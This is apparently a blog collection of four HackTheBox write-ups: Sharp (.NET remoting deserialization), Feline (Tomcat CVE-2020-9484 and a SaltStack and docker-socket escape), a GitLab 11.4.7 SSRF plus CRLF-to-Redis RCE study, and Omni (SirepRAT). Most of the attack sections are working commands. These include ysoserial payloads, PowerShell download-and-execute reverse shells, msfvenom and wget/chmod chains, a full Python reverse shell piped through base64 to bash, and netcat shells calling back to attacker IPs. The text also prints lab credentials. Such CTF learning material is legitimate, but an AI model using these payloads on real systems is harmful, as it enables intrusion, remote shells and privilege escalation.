Hackthebox - Sharp Writeup

 System Summary



Initial Enumeration

Nmap scan reveals some classic Windows services open













There are some shares:

















The kanban share is publicly available:

















Enum4linux doesn't show anything valuable. 

Port 8888 seems interesting but connecting to it, it seems that it doesn't reply... 

Or better: sending to it some input it doesn't reply readable text but from tcpdump we see that it replies an Authentication failure.





It seems that there is a .NET client server  application running on it.

It's time to analyze the Kanban application in a Windows machine.

We will need a windows machine with visual studio to proceed

Opening the executable portablekanban.exe with iLSpy we can look into the code.
We can find that it stores the users and their encrypt password in the portablekanban.pk3 file.

Looking deeper we see that uses default crypto in .NET (= DES encryption) and we can also find the Initialization Vector (IV): XuVUm5fR







































And we also find the DES Key: 7ly6UznJ























Opening the file PortableKanban.pk3 we see the encrypted passwords for user lars and administrator:

























Now that we have all the pieces we can use CyberChef to find the two passwords:

























  • Administrator: G2@$btRSHJYTarg
  • Lars: G123HHrth234rRG

We can also double check them by opening the application:


















We have now access to the share \\10.10.10.219\dev which contains a couple of executables and a dll.













Opening the server.exe with iLSpy we see that it listens on port 8888 (so it's the service we discovered with nmap) and it is using .NET remoting library. 

This is a library used to execute remote operations on a server by using a client that connects and make remote calls to procedures

Opening the client.exe we see some huicy information:

  • Endpoint URL: tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint
  • Username: debug
  • Password: SharpApplicationDebugUserPassword123!






Looking on the Internet we can find a very interesting C# project from James Forshaw that can be used to send malicious content to server using .NET remoting library. 

This project is named ExploitRemotingService and can be easily found on github.

We have to get and compile it with visual studio (community edition is ok).

We will now have an executable named ExploitRemotingServices.exe that will connect to the remote service and send a specially crafted payload (we still have to build it)


User Flag

Next step is to create a proof of concept of payload, like a ping request.

We can use ysoserial, famous tool to create payloads

ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c " ping 10.10.14.10"

it will output a long base64 string:


















We have to coyp/paste the payload and use it for ExploitRemotingServices.exe 

At the same time we can monitor the netowork with wireshark.

The command line is

ExploitRemotingServices.exe -s --rev=4 --password="SharpApplicationDebugUserPassword123!"  --user=debug tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint raw <ysoserial payload>















We are able to receive ICMP request from the sharp box: this means that our payload was executed.

Next step is to change the payload from a ping to a reverse shell

Here we need to choose a good reverse shell. After some effort we can grab a good powershell reverse shell here: https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1 

We have to customize the first line with our IP address and port. We can also rename the file to rev.txt to avoid filters.

Once done we have to start a local python http server to serve this rev.txt (the usual python http.server or SimpleHTTPServer listening on port 8000)

Then create the reverse shell with ysoserial

ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c " powershell IEX (New-object net.webclient).Downloadstring('http://10.10.14.10:8000/rev.txt')"

It will output a long base64 payload that we can copy

Then we can execute a netcat listener (right window) and run again the exploit ExploitRemotingServices.exe (on the left)
























We receive a shell as user lars and we can get the user flag.

Root Flag


Once inside as lars users we can see that there is an additional service running on port 8889.
The source code is in c:\users\lars\documents\wcf

If we transfer the folder to our computer we can open it in visual studio and see the client part:


















It opens a connection and sends three request:
  • client.getdiskInfo();
  • client.getCPUInfo();
  • client.getRamInfo();

We can add a fourth request with our commands and recompile the client.

The request we can add is similar to the previous powershell command, this time we download the file rev2.txt, which is customized to create a reverse shell on port 5555


















We have to compile the client and look in the binary folder of the projects.
There will be two file WcfClient.exe and WcfRemotingLibrary.dll

We have to transfer them to the sharp box with 

certutil -urlcache -f http://10.10.14.10:8000/WcfClient.exe c:\temp\WfcClient.exe

certutil -urlcache -f http://10.10.14.10:8000/WcfRemotingLIbrary.exe c:\temp\WcfRemotingLibrary.dll


















Now we have to open a netcat on port 5555 (on the left) and execute the WcfClient.exe (on the right)

We should receive a shell as system user and then get the root flag.













HackTheBox - Feline Writeup

 System Summary


Initial Enumeration

Nmap scan reveals only port 8080 open where a Tomcat version 9.0.27


The webpage http://10.10.10.205 doesn't lead to anything,

However, looking at the webpage source (or using a scanning tool like dirbuster) we can find the section

http://10.10.10.205/service.


This gives us the opportunity to upload files.

Let's try to upload something while intercepting the request with Burp: below an example of an upload of file named "word"

The response by Tomcat is not very useful: it just says "Upload Successful" or "Unsuccessful": we eould like to know where the uploaded files are stored.

This because there's an interesting RCE vulnerability CVE-2020-9484 (Here a great article that explains both vulnerability and exploiting process). One of the prerequisites is to know.

Let's try to tamper with the request with Burp repeater.
After some retries we can find that omitting the filename in the requests, the Java backend goes in error disclosing the path where files get stored (/opt/samples/uploads)





 

Initial Foothold

Now that we have the path we can follow the exploiting process: as first step let's see if we can do a POC just using ping back to our machine.

First we have to prepare a payload with ysoserial using the CommonCollections2 gadget and storing it in the file ping.session

java -jar ysoserial-master-138dc36bd2-1.jar  CommonsCollections2  'ping -c 5 10.10.16.78' > ping.session


Next we have to upload the file ping.session with this command:


 curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/anything" -F 'image=@ping.session'

If everything is OK a file named ping will be stored in /opt/samples/uploads

Then trigger the deserialization call

 curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/ping"

And the result is :



OK! The RCE works.

Next we can try to execute netcat shell or similar payloads: unfortunately ysoserial payloads don't work as expected.

As explained in some articles, java doesn't like payloads containing pipes, redirection or more shell commands separated by ;

Therefore we have to use single and simple commands.

Let's follow this 

  • Build a reverse tcp shell executable with msfvenom
  • Publish it on our computer 
  • Create a payload with ysoserial that download its to /tmp/payload (wget)
  • Create a payload with ysoserial that makes /tmp/payload executable (chmod)
  • Create a payload with ysoserial that executes  /tmp/payload  
  • Open a netcat listener
  • Execute the exploit process to above three payloads in sequence

First we build the executable payload

msfvenom -p linux/x86/shell_reverse_tcp LPORT=4445 LHOST=10.10.16.78 -f elf > /var/www/html/payload

Then we create three payloads with ysoserial:

wget

java -jar ysoserial-master-138dc36bd2-1.jar CommonsCollections2 'wget http://10.10.16.78:4444/payload -O /tmp/payload' > wget.session

chmod

java -jar ysoserial-master-138dc36bd2-1.jar CommonsCollections2 'chmod +x /tmp/payload' > chmod.session 

execute the downloaded payload


Then trigger the vulnerability three times to execute the three commands:

Upload wget file

curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/wget" -F 'image=@wget.session'

Execute wget 

curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/wget"


Upload chmod file

curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/chmod" -F 'image=@chmod.session'

Execute chmod

curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/chmod"

Upload execute file

curl -v  --co curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/exec" -F 'image=@exec.session'

Exec exute file

curl -v  --co curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/exec"

The result is: 


We get a shell as tomcat user and the user flag for free, also.

Further Escalation

With the usual enumeration we can't find anything interesting to escalate to root.

However we can find we're in a container and there are some services that are listening locally:


The two port 4505 and 4506 looks very interesting: they're used by Salt Stack and we might try a well known RCE CVE-2020-11651

But how can we reach this port? This is listening on localhost. 

One way is to compile and upload the exeploit. 

The easier way chisel, a tunneling program that works in a similar way as ssh tunnel but without the need to create accounts and logins.

We just have to download chisel on both attacking machine and container instance.

Then start a chisel listener session on our attacking machine:

chisel server -p 8000 --reverse

Then start the other end of tunnel in the docker container with the client part.

./chisel client 10.10.16.78:8000 R:4506:127.0.0.1:4506

The option R:4506:127.0.0.1:4506 is similar to SSH tunnel syntax: the traffic coming through the tunnel is to be sent to 127.0.0.1:4506. 

We can now direct our exploit to our 127.0.0.1:8000 and it will be sent to Saltstack service running in the docker container.

Luckily there's a great module in Metasploit named saltstack_unath_rce

We can use it to get a root shell in the container 



Root Escalation

Unfortunately the root folder doesn't have the root flag: we have to evade from the container and access the hosts.

The interesting thing here is that the container exposes the docker socket file /var/run/docker.sock
This is a bad idea because it's a channel that we can use to control other containers.

Since the container itself doesn't have the docker executable, let's download the docker executable from an ubuntu/kali system (our machine, for example) 

Then we can run docker commands inside the container and manage dockers running on the host.
As an example we can show which containers are running (our own) identifying its ID and image


Once we have the image ID we can run another container of the same image, mapping the / filesystem of host inside a folder (/mnt) and execute a chroot inside /mnt, adding the interactive mode with -ti

./docker container run --rm -it --privileged --net=host --pid=host --volume /:/mnt 188a2704d8b0 chroot /mnt

With this result:

We have a shell in the / of the host itself.

We can then get the root flag.

Learning about Web Vulnerabilities - The case of Gitlab 11.4.7 RCE

Foreword

While trying to own a HackTheBox machine I encountered a Gitlab service version 11.4.7: it's a pretty old version that has some vulnerabilities and a public RCE exploit that's two years old.

So nothing new here, however, with the spirit of learning a new thing instead of just running someone else code, I tried to understand and exploit the vulnerabilities manually with the help of other writeups/video, like the video and article by Liveoverfow.

The vulnerabilities

In November 2018 two vulnerabilities were fixed in Gitlab version 11.4.8 (https://gitlab.com/gitlab-org/gitlab-foss/-/commits/v11.4.8).

Looking at the patch content we can see two interesting ones:

  • CVE-2018-19571: an SSRF vulnerability in project integration (commit ecbdef09)
  • CVE-2018-19585: a CRLF Injection in UrlValidator (commit 70f35e4f)


We can use a docker image or install manually. 

For simplicity I used the gitlab community edition docker image: it comes with a default Redis instance listening on port tcp/6379 (this will be important as a step towards the exploitation)


SSRF Vulnerability

SSRF means Server-Side Request Forgery and basically means that a software with such a vulnerability gives the attacker a way to reach other systems by putting a forged URL somewhere in the application.

This is usually not critical but it can be chained with other vulnerabilities to have a bigger impact.

So it's typical to see some kind of URL validation in the applications that blocks connections to localhost looking for services not publicly available (i.e. database backends and similar) 

Looking at the fix in version gitlab v11.4.8 it is clear that version 11.4.7 validates and blocks connection to http://127.0.0.1 but it doesn't check connection using IPv6 address http://[0:0:0:0:0:ffff:127.0.0.1]


There is also a feature of Gitlab that can be used to open URL: a new project can be created by importing an existing project supplying its repo URL. 

This feature performs a GET request to an URL that an authenticated users can control.


The interesting thing to do here is to check if the SSRF via IPv6 works.
First step is to open a netcat listener on localhost (if gitlab was installed inside docker, netcast should be executed inside the docker container).


Then try using an IPv4 with the URL http://127.0.0.1:4444/test/repo.git


The IPv4 URL is blocked by the



SSRF is working: Netcat shows an HTTP GET request:


Now, what local services can be contacted with this SSRF?

Well, Gitlab standard installation uses a default Redis instance running on localhost interface and port tcp/6379.

Redis is a popular key-pair database system that is known to the security community because its default installation is quite unsecure and it can be abused to get Remote Code Execution.

Before digging into further exploitation, it's useful to connect to Redis with netcat and paste the previous HTTP request done by the SSRF request:



Unfortunately Redis drops the connection after receiving the line beginning with "Host:"

Redis team, knowing that SSRF can be used to wreck havoc, inserted a check that drops the connection whenever a line "Host:" is detected
We have to get past this check and send additional commands to Redis in some ways and the CRLF injection comes to help.

CRLF Injection Vulnerability

CRLF stands for "Carriage-return Line-feed": in this kind of vulnerability, the sequence of CRLF characters can be used to split a forged input in more lines and potentially used to inject unexpected content.

A CRLF vulnerability, like SSRF, is not critical per-se, but in this case it can be used to split into multiple lines the forged URL request proveded in the SSRF before the line beginning with "Host:" 

Due to missing input validation, we can use CRLF to split the "GET " line of the SSRF into more lines that Redis will accept as single commands before reaching the "Host:" line

To trigger the CRLF we have to use Burp to change the standard request of SSRF.

This is the request of SSRF done in the browser

Below the Burp intercepted requested that can be sent to the Burp Repeater module

In the repeater module we can change the SSRF request inside the red box into more lines.
In case there is already a project with the same name (i.e. repeated request) we have to change the project name



Unfortunately it doesn't work, but the import feature also support git://  URLs:

In this case it works and we see that the SSRF request is split into more lines


We can copy and paste into Redis to see the effect:


Now that we are able to send commands to Redis via the SSRF+CRLF we have to find a way to execute code in Redis

Luckily, Jobert from HackerOne found a command sequence in Redis that uses Sidekiq to execute a job in gitlab (https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41293)

We only have to use the sequence 

 multi

 sadd resque:gitlab:queues system_hook_push
 
 lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|our_command \').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
 
 exec
Please note that all lines must start with a space character:


The above request executes the command "touch /tmp/a"  with the following result:

So it's possible to execute remote commands
The final step is to craft a payload for reverse shell.
Due to possible encoding issues we can use the classic python reverse shell (python3 should be included in the gitlab docker image) in an encoded version.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.78",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

This is to be encoded in base64 and then the command to be execute by gitlab should be:

echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE2Ljc4Iiw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigiL2Jpbi9iYXNoIiknCg== | base64 -d | bash



And we should get our reverse shell on port 4444:





HackTheBox - Omni Walkthrough

System Summary 


Initial Scan

The nmap scan shows some open ports:






It looks a windows machine but with some additional services.

Avoiding bruteforcing of WinRM services on port tcp/5985, we can open the URL http://10.10.10.204:8080 and we see a basic authentication form for “Windows Device Portal”





“Windows Device portal” is a web service that helps to manage IoT devices running Windows IoT Core. 
This portal has a default set of credentials Administrator : p@ssw0rd but they don’t work.

Initial Foothold

Looking for public exploit we can find a public python script named SirepRAT.py  in this github repo: https://github.com/SafeBreach-Labs/SirepRAT.git

It requires python2 and some packages

After cloning the repo and verifying the code, we can run it to execute remote commands.

Below an example of displaying the hosts file:

We can also run other commands like ping
python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\ping.exe" --args "10.10.16.78"


Next step is to get a shell by downloading netcat to the box and running it.

We can try to download netcat via HTTP, but it doesn’t work as expected with the usual techniques

  •         Powershell download
  •         Bitsadmin.exe
  •         Certutil.exe

 As an alternative we can use SMB protocol, by having a public share on our local machine:

python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd 'c:\windows\system32\xcopy' --args '\\10.10.16.78\nik\nc.exe c:\'


Now that we have successfully downloaded nc.exe, we can it for a reverse shell on port 4444:

python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd 'c\nc.exe' --args '-e cmd.exe 10.10.16.78 4444'

But it doesn’t work. 

The problem is that the nc.exe provided in Kali is compiled for x86 while the box is x64 and it doesn’t execute 32 bit PE files.

So let's grab a nc64.exe version from from https://github.com/int0x33/nc.exe and repeat the procedure of upload and execute:


We’re now in the system as user omni$ (low privilege) and we can do some enumeration.

We can search for user.txt and root.txt 

We can read both files (really!) but they're not in the usual format.

Let's look at user.txt



That's an XML file with a PSCredential object inside it.

This is encrypted and we can try to decrypt it with powershell commands:

$credential = Import-CliXml -Path 'C:\data\users\app\user.txt'

This import the file and with the following commands we can show the clear text password: 
$credential.GetNetworkCredential().Password

Unfortunately it doesn't work because we must be logged in as user app... but we're user omni$. 

In the c:\data\users\app folder there are a few other files

hardening.txt is not readable but another xml is...

User Flag

We have to find a way to user app.

Running the standard enumeration commands like get-childitem -hidden -recurse -Path c:\XYZ
we can find a r.bat file in c:\program files\WindowsPowershell\Modules\PackageManagement

It should not be there and it contains a couple of credentials:

  • Username app with password mesh5143
  • Username administrator with password _1nt3rn37ofTh1nGz

These users are not working for WinRM but give us access to the Windows Device Portal site:

We can login and use the section "Processes" to run a command.

In this case we can run the same nc64.exe we were able to execute with the exploit:

We receive a shell as user app.

With it we can access hardening.txt and display its content:


And we can also decrypt the user.txt PScredential file:

And this is the User flag


Root Flag

We can do the same thing as with user app: 

  1. Log into Device Portal as user administrator
  2. Run nc64.exe from the web form
  3. Receive the shell 
  4. open the file root.txt, get the clear text flag using powershell commands seen above